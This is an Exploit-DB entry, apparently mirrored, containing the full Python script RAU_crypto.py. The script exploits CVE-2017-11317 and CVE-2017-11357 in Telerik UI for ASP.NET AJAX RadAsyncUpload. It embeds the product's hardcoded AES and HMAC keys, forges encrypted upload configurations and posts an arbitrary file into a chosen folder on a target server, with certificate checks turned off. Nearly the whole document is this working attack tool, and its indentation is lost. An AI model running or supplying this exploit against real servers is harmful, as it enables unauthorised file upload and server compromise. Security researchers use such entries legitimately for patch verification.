Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Arbitrary File Upload

  • 作者: Paul Taylor
    日期: 2018-01-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43874/
  • # Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
    # Filename: RAU_crypto.py
    # Github: https://github.com/bao7uo/RAU_crypto
    # Date: 2018-01-23
    
    # Exploit Author: Paul Taylor / Foregenix Ltd
    # Website: http://www.foregenix.com/blog
    
    # Version: Telerik UI for ASP.NET AJAX 
    # CVE: CVE-2017-11317, CVE-2017-11357
    # Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
    # Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
    
    # Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
    
    #!/usr/bin/python3
    
    # Author: Paul Taylor / Foregenix Ltd
    # https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py
    
    # RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357
    
    # Telerik Web UI for ASP.NET AJAX
    # RadAsyncUpload hardcoded keys / insecure direct object reference
    # Arbitrary file upload
    
    # Telerik fixed in June 2017 by removing default keys in
    # versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
    # RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)
    
    # https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
    # https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
    # http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security
    
    # http://target/Telerik.Web.UI.WebResource.axd?type=rau
    
    import sys
    import base64
    import json
    import re
    import requests
    from Crypto.Cipher import AES
    from Crypto.Hash import HMAC
    from Crypto.Hash import SHA256
    
    import binascii
    
    # Warning, the below prevents certificate warnings,
    # and verify = False in the later code prevents them being verified
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    
    class RAUCipher:
    key = binascii.unhexlify("EB8AF90FDE30FECBE330E807CF0B4252" +
     "A44E9F06A2EA4AF10B046F598DD3EA0C")
    iv = binascii.unhexlify("E330E807CF0B425255A3A561A707D269")
    
    def encrypt(plaintext):
    sys.stderr.write("Encrypting... ")
    encoded = ""
    for i in plaintext:
    encoded = encoded + i + "\x00"
    plaintext = encoded + (
    chr(16 - (len(encoded) % 16)) *
    (16 - (len(encoded) % 16))
    )
    cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
    sys.stderr.write("done\n")
    return base64.b64encode(cipher.encrypt(plaintext)).decode()
    
    def decrypt(ciphertext):
    sys.stderr.write("Decrypting... ")
    ciphertext = base64.b64decode(ciphertext)
    cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
    unpad = lambda s: s[0:-ord(chr(s[-1]))]
    sys.stderr.write("done\n")
    return unpad(cipher.decrypt(ciphertext[0:])).decode()[0::2]
    
    def addHmac(string, Version):
    
    isHmacVersion = False
    
    # "Encrypt-then-MAC" feature introduced in R1 2017
    # Required for "2017.1.118", "2017.1.228", "2017.2.503"
    
    if "2017" in Version:
    isHmacVersion = True
    
    hmac = HMAC.new(
    b'PrivateKeyForHashOfUploadConfiguration',
    bytes(string.encode()),
    SHA256.new()
    )
    hmac = base64.b64encode(hmac.digest()).decode()
    return string + hmac if isHmacVersion else string
    
    
    def rauPostData_prep(quiet, TempTargetFolder, Version):
    TargetFolder = RAUCipher.addHmac(
    "jgas0meSrU/uP/TPzrhDTw==",
    Version
    )
    TempTargetFolder = RAUCipher.addHmac(
    RAUCipher.encrypt(TempTargetFolder),
    Version
    )
    
    rauJSONplaintext = \
    '{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
    TempTargetFolder + \
    '","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'
    if not quiet:
    print("JSON: " + rauJSONplaintext + "\n")
    rauPostData = RAUCipher.encrypt(rauJSONplaintext) + "&"
    rauVersionplaintext = \
    "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
    Version + \
    ", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
    if not quiet:
    print("Version: " + rauVersionplaintext + "\n")
    rauPostData += RAUCipher.encrypt(rauVersionplaintext)
    return rauPostData
    
    
    def getVersion(url):
    sys.stderr.write("Contacting server... ")
    response = requests.get(url, verify=False)
    html = response.text
    sys.stderr.write("done\n")
    match = re.search(
    '((?<=\<\!-- )20\d{2}(.\d+)+(?= --\>))|' +
    '(?<=Version%3d)20\d{2}(.\d+)+(?=%2c)|' +
    '(?<=Version=)20\d{2}(.\d+)+(?=,)',
    html
    )
    
    if match:
    return match.group(0)
    else:
    return "No version result"
    
    
    def payload(TempTargetFolder, Version, payload_filename):
    sys.stderr.write("file: " + payload_filename + "\n")
    sys.stderr.write("version: " + Version + "\n")
    sys.stderr.write("destination " + TempTargetFolder + "\n")
    sys.stderr.write("Preparing payload... \n")
    payload_file = open(payload_filename, "r")
    payload_file_data = payload_file.read()
    payload_file.close()
    quiet = True
    
    data = "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
    data += "\r\n"
    data += rauPostData_prep(quiet, TempTargetFolder, Version) + "\r\n"
    data += "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
    data += "Content-Type: application/octet-stream\r\n"
    data += "\r\n"
    data += payload_file_data
    data += "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
    data += "\r\n"
    data += "RAU_crypto.bypass\r\n"
    data += "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
    data += "\r\n"
    data += "text/html\r\n"
    data += "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
    data += "\r\n"
    data += "2017-06-28T09:11:28.586Z\r\n"
    data += "-----------------------------68821516528156\r\n"
    data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
    data += "\r\n"
    data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
    payload_filename + "\"}\r\n"
    data += "-----------------------------68821516528156--\r\n"
    data += "\r\n"
    sys.stderr.write("Payload prep done\n")
    return data
    
    
    def upload(TempTargetFolder, Version, payload_filename, url):
    sys.stderr.write("Preparing to upload to " + url + "\n")
    session = requests.Session()
    request = requests.Request(
    'POST',
    url,
    data=payload(
    TempTargetFolder,
    Version,
    payload_filename
    )
    )
    request = request.prepare()
    request.headers["Content-Type"] = \
    "multipart/form-data; " +\
    "boundary=---------------------------68821516528156"
    response = session.send(request, verify=False)
    sys.stderr.write("Upload done\n")
    return response.text
    
    
    def decode_rauPostData(rauPostData):
    rauPostData = rauPostData.split("&")
    rauJSON = RAUCipher.decrypt(rauPostData[0])
    decoded = "\nJSON: " + rauJSON + "\n"
    TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
    decoded = decoded + "\nTempTargetFolder = " + \
    RAUCipher.decrypt(TempTargetFolder) + "\n"
    rauVersion = RAUCipher.decrypt(rauPostData[1])
    decoded = decoded + "\nVersion: " + rauVersion + "\n"
    return decoded
    
    
    def mode_decrypt():
    # decrypt ciphertext
    ciphertext = sys.argv[2]
    print("\n" + RAUCipher.decrypt(ciphertext) + "\n")
    
    
    def mode_Decrypt_rauPostData():
    # decrypt rauPostData
    rauPostData = sys.argv[2]
    print(decode_rauPostData(rauPostData))
    
    
    def mode_encrypt():
    # encrypt plaintext
    plaintext = sys.argv[2]
    print("\n" + RAUCipher.encrypt(plaintext) + "\n")
    
    
    def mode_Encrypt_rauPostData():
    # encrypt rauPostData based on TempTargetFolder and Version
    quiet = False
    TempTargetFolder = sys.argv[2]
    Version = sys.argv[3]
    print(
    "rauPostData: " +
    rauPostData_prep(quiet, TempTargetFolder, Version) +
    "\n"
    )
    
    
    def mode_encrypt_rauPostData_Quiet():
    # as per -E but just output encrypted rauPostData,
    # not the prepared JSON and version
    quiet = True
    TempTargetFolder = sys.argv[2]
    Version = sys.argv[3]
    print(rauPostData_prep(quiet, TempTargetFolder, Version))
    
    
    def mode_version():
    # extract Telerik web ui version details from url
    url = sys.argv[2]
    print(getVersion(url))
    
    
    def mode_payload():
    # generate a payload based on TempTargetFolder, Version and payload file
    TempTargetFolder = sys.argv[2]
    Version = sys.argv[3]
    payload_filename = sys.argv[4]
    print(payload(TempTargetFolder, Version, payload_filename))
    
    
    def mode_Post():
    # generate and upload a payload based on
    # TempTargetFolder, Version, payload file and url
    TempTargetFolder = sys.argv[2]
    Version = sys.argv[3]
    payload_filename = sys.argv[4]
    url = sys.argv[5]
    print(upload(TempTargetFolder, Version, payload_filename, url))
    
    
    def mode_help():
    print(
    "Usage:\n" +
    "\n" +
    "Decrypt a plaintext:-d ciphertext\n" +
    "Decrypt rauPostData:-D rauPostData\n" +
    "Encrypt a plaintext:-e plaintext\n" +
    "Gen rauPostData:-E TempTargetFolder Version\n" +
    "Gen rauPostData (quiet):-Q TempTargetFolder Version\n" +
    "Version in HTTP response: -v url\n" +
    "Generate a POST payload:-p TempTargetFolder Version c:\\\\folder\\\\filename\n" +
    "Upload a payload: -P TempTargetFolder Version c:\\\\folder\\\\filename url\n\n"
    "Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau"
    )
    
    
    sys.stderr.write("\nRAU_crypto by Paul Taylor / Foregenix Ltd.\n")
    sys.stderr.write(
    "CVE-2017-11317 - " +
    "Telerik RadAsyncUpload hardcoded keys / arbitrary file upload\n\n"
    )
    
    if len(sys.argv) < 2:
    mode_help()
    elif sys.argv[1] == "-d" and len(sys.argv) == 3:
    mode_decrypt()
    elif sys.argv[1] == "-D" and len(sys.argv) == 3:
    mode_Decrypt_rauPostData()
    elif sys.argv[1] == "-e" and len(sys.argv) == 3:
    mode_encrypt()
    elif sys.argv[1] == "-E" and len(sys.argv) == 4:
    mode_Encrypt_rauPostData()
    elif sys.argv[1] == "-Q" and len(sys.argv) == 4:
    mode_encrypt_rauPostData_Quiet()
    elif sys.argv[1] == "-v" and len(sys.argv) == 3:
    mode_version()
    elif sys.argv[1] == "-p" and len(sys.argv) == 5:
    mode_payload()
    elif sys.argv[1] == "-P" and len(sys.argv) == 6:
    mode_Post()
    else:
    mode_help()